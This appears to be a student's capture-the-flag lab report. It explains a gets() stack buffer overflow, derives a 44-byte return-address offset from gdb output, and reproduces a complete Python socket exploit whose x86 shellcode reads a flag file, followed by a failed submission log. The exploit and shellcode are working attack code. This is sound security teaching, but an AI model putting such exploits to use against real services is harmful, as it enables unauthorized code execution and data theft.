

Question 1: Please provide the names and NetIDs of your collaborator (up to 3). If you finished the lab alone, write None.

Answer: None.

Question 2: What is the vulnerability here? Explain.

Answer: "buf" is defined as a 32 bytes array, but when calling "gets(buf)", the input can be much longer than 32 bytes, which will cause buffer overflow. By overflowing, the return address can be modified.

Question 3: Take a screenshot and include it in the lab report. What is the distance between the buff address and the return address?

Answer:

```
[(gdb) disas interact
Dump of assembler code for function interact:
   0x565791c9 <+0>:   push    %ebp
   0x565791ca <+1>:   mov     %esp,%ebp
   0x565791cc <+3>:   push    %ebx
   0x565791cd <+4>:   sub     $0x24,%esp
   0x565791d0 <+7>:   call    0x565790d0 <__x86.get_pc_thunk.bx>
   0x565791d5 <+12>:  add     $0x2e2b,%ebx
   0x565791db <+18>:  sub     $0x8,%esp
   0x565791de <+21>:  lea     -0x28(%ebp),%eax
   0x565791e1 <+24>:  push    %eax
   0x565791e2 <+25>:  lea     -0x1ff8(%ebx),%eax
   0x565791e8 <+31>:  push    %eax
   0x565791e9 <+32>:  call    0x56579030 <printf@plt>
   0x565791ee <+37>:  add     $0x10,%esp
   0x565791f1 <+40>:  sub     $0xc,%esp
   0x565791f4 <+43>:  lea     -0x28(%ebp),%eax
   0x565791f7 <+46>:  push    %eax
   0x565791f8 <+47>:  call    0x56579050 <gets@plt>
   0x565791fd <+52>:  add     $0x10,%esp
   0x56579200 <+55>:  sub     $0xc,%esp
   0x56579203 <+58>:  lea     -0x28(%ebp),%eax
   0x56579206 <+61>:  push    %eax
   0x56579207 <+62>:  call    0x56579060 <puts@plt>
   0x5657920c <+67>:  add     $0x10,%esp
   0x5657920f <+70>:  nop
   0x56579210 <+71>:  mov     -0x4(%ebp),%ebx
   0x56579213 <+74>:  leave
   0x56579214 <+75>:  ret
End of assembler dump.
```

Through this assembler dump, "buf" is at (ebp-0x28) and return_address is at (ebp+0x4). The distance between buff address and return address is 0x2c, which is 44 bytes.

Question 4: How would you use that information in the exploit?

Answer: We can use 44 bytes padding to reach the return address, then we can overwrite the return address which points to our shellcode. So the input could be (a*44+ret_addr+shellcode).

Question 5: Copy and paste your exploit.py in report.

Answer:

```
Learned that buf is at 0xffd74630
So retaddr is 0xffd74660
5IfPtP20lsU
```

```
#!/usr/bin/env python3
import struct
from socket import *
import sys
import time
import re

HOST = sys.argv[1]
PORT = int(sys.argv[2])
BUFSIZE = 1024
ADDR = (HOST, PORT)

s = socket(AF_INET, SOCK_STREAM)
try:
    s.connect(ADDR)
except Exception as e:
    print('Cannot connect to the server.')
    sys.exit()

s.send(b'Tell me where buf is\n')
time.sleep(2)
bufresponse = s.recv(BUFSIZE).decode('utf-8')

bufaddr = '0x' + bufresponse[10:18]
print('Learned that buf is at {}'.format(bufaddr))

bufaddr = int(bufaddr, 16)
retaddr = bufaddr + 0x30 #<-change 0xFFF number here

print('So retaddr is {}'.format(hex(retaddr)))

retaddr = struct.pack("I", retaddr)

shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"+\
    b"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"+\
    b"\x80\x89\xc6\xeb\x06\xb0\x01\x31"+\
    b"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"+\
    b"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"+\
    b"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"+\
    b"\x04\xb3\x01\xb2\x01\xcd\x80\x83"+\
    b"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"+\
    b"\xff"+b"/var/ctf/flag"
```

```
padding = b"\x61" * 44
payload = padding + retaddr + shellcode + b'\n'
```

```
s.send(payload)
flag = s.recv(BUFSIZE).decode('utf-8')
sys.stdout.write(flag)

s.close()
```

Question 6: What is your issue URL?

Answer: I can run my code locally and get the flag. But I failed to submit and cannot figure out why. I am using a Mac Intel. The folder and file are all correctly named.

```
((base) SSMBP:lab2 shiwen$ python3 scripts/gitctf.py submit --exploit answer --service-dir pcs-sp21-lab2-server --target lab2 --branch main
We will forcefully checkout branch from pcs-sp21-lab2-server. You will lose ongoing works which are not committed yet.
Do you want to continue? (y/n)n
[*] Script aborts.
((base) SSMBP:lab2 shiwen$ python3 scripts/gitctf.py submit --exploit answer --service-dir pcs-sp21-lab2-server --target lab2 --branch main
We will forcefully checkout branch from pcs-sp21-lab2-server. You will lose ongoing works which are not committed yet.
Do you want to continue? (y/n)y
[*] Starting service from pcs-sp21-lab2-server (branch 'main')
run_command(git -C pcs-sp21-lab2-server checkout -f main, /Users/shiwen/Desktop/NYU/3033-074/HW/lab2)
Your branch is up to date with 'origin/main'.
run_command completed with code 0.
run_command(/Users/shiwen/Desktop/NYU/3033-074/HW/lab2/scripts/setup_service.sh pcs-sp21-lab2-server-main 4000 4000, pcs-sp21-lab2-server)
e6c5c6e87ec80f7e3ae856013d05f35d484573e6f263a4874ef621f453e1359d
run_command completed with code 0.
[*] Started service successfully
[*] Running exploit
run_command(/Users/shiwen/Desktop/NYU/3033-074/HW/lab2/scripts/launch_exploit.sh exploit-main 127.0.0.1 4000 60, answer)
run_command completed with code 125.
[*] Failed to run exploit
#1 [internal] load build definition from Dockerfile
#1 sha256:5b1bc5cc6778f267c8ea69e85c955c48a2bcc9d91a9dd341c58e2499f59311bd
#1 transferring dockerfile: 1.57kB done
#1 DONE 0.0s

#2 [internal] load .dockerignore
#2 sha256:b8e6cd3f4c4c8b66873ecba79b112591e50f179f6acd87cdfbbe88a4b5a1d26
#2 transferring context: 2B done
#2 DONE 0.0s

#3 [internal] load metadata for docker.io/i386/debian:latest
#3 sha256:9214fb3e1d6189e2ac9ad87af59d0e81190e12384baf5247c80b3625acd32c
#3 DONE 0.2s

#4 [1/3] FROM docker.io/i386/debian:latest@sha256:6fef38ad42d54a678ae2d8cbbf1aa999775a56bfc8a8582844ceb214b837a49b
#4 sha256:eafcc8a8219ea3cd8c839e6b37d3d87383ee369f4bbca8404f2d06786681d7a
#4 CACHED

#6 [internal] load build context
#6 sha256:aecc77731647be78f47383ba58ec071ce084aef17b5194309876ea63e80745c
#6 transferring context: 2B done
#6 DONE 0.0s

#5 [2/3] RUN apt-get update && apt-get install -y make gcc python3
#5 sha256:94e7258d110ac46133ef53a154e2e427398bca123a29051742f7319fe024b054
#5 CACHED

#7 [3/3] COPY exploit /bin/exploit
#7 sha256:1ae0c67b3b3ab4f84f1c87c445a808fb0774f3349d743517d0c0116b4ab667
#7 ERROR: "/exploit" not found: not found

#5 [2/3] RUN apt-get update && apt-get install -y make gcc python3
#5 sha256:94e7258d110ac46133ef53a154e2e427398bca123a29051742f7319fe024b054
#5 CACHED

-----
> [3/3] COPY exploit /bin/exploit:
-----
failed to compute cache key: "/exploit" not found: not found
Unable to find image 'exploit-main:latest' locally
docker: Error response from daemon: pull access denied for exploit-main, repository does not exist or may require 'docker login': denied: requested access to the resource is denied.
See 'docker run --help'.

=====
[*] Clean up container 'pcs-sp21-lab2-server-main'
```